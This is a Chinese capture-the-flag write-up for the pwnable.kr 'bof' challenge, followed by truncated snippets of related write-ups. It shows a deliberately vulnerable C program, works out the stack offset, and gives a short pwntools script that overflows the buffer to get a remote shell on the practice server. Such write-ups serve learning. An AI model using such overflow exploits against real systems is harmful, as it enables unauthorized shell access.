pwnable.kr第三题:bof

0x000查看源码

打开bof.c文件

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key){
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe){
 9         system("/bin/sh");
10     }
11     else{
12         printf("Nah..\n");
13     }
14 }
15 int main(int argc, char* argv[]){
16     func(0xdeadbeef);
17     return 0;
18 }

源码分析:

  要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

  使用radare2分析汇编代码:

  

查看main函数

查看func

分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote(‘pwnable.kr‘,9000)
pwn_socket.sendline(‘a‘*52+‘\xbe\xba\xfe\xca‘)
pwn_socket.interactive()

运行即可获得一个shell:

原文地址:https://www.cnblogs.com/DennyT/p/11619497.html

时间: 2024-08-30 14:15:25

pwnable.kr第三题:bof的相关文章

pwnable.kr第五题:passcode

0x000打开环境 ①查看源码: 1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 printf("enter passcode1 : "); 9 scanf("%d", passcode1); 10 fflush(stdin); 11 12 // ha! mommy told me that 32bit is vulnerable to bruteforcin

pwnable.kr第六题:random

0x000打开环境查看源码 #include int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; }

pwnable.kr第四题:passcode

0x000 打开环境 下载文件到本地,查看文件格式为64位的ELF,xxd命令是将文件转化为16进制的格式查看,发现文件内容有个明显的upx,upx是一种加壳压缩的程序,所以先把该文件脱壳,使用upx -d命令脱壳至flag_upx. 0x001 源码分析 细心一点就会发现,有一个注释“#0x6c2070 <flag>",然后你懂的:(“x/s",查看地址内容,s可省略,代表字符串) 这就是flag了!   原文地址:https://www.cnblogs.com/Denn

【pwnable.kr】blackjack

又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html 第一反应是源代码这么长,还不如先玩玩看. 首先,看一下游戏规则发现和21点游戏是一样的,可能国外就叫blackjack吧. 每次,让游戏中下注,然后和电脑比赛,下注的金额不能超过所持有的金额. 这尼玛发牌函数也是随机的,就算你运气再好,算法再牛,想挣100w

【pwnable.kr】bof

pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 很简单的一道栈溢出题目. 依然先读代码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overfl

pwnable.kr bof之write up

这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: 1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe

pwnable.kr 第一题 FD

题目地址http://pwnable.kr/play.php 第一题 FD 环境是kali系统 首先打开题目 按提示连接ssh 密码为guest 查看文件内容发现存在flag文件,但是没有读权限 查看fd.c代码文件 复习出现的函数 int argc 要输入的参数 char* argv[]表示的是包括文件名在内的参数,文件名是argv[0] char* envp[]是环境变量,比如path=c:\windows之类的东西.它没有一个整数来为它记数是通过最后一个evnp[i]==NULL来表示结尾

pwnable.kr 第二题 collision

题目地址 http://pwnable.kr/play.php 首先登录查看文件 分析代码,目的输出flag 显而易见,要让flag输出 就得让check_password这个函数返回一个0x21DD09EC 看提示可以得出要输一个20字节的字符 int占四个字节 char占一个字节 check_password 转换时候将20个char 四个一组转为int并相加 用python自带的计算机简单算一下 我们需要输入四个0x6c5cec8和一个0x6c5cecc 使用万能的python,尝试了多次

pwnable.kr的passcode

前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下我们的用户名,并不能直接查看flag这个文件.查看passcode.c的源码看一下 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter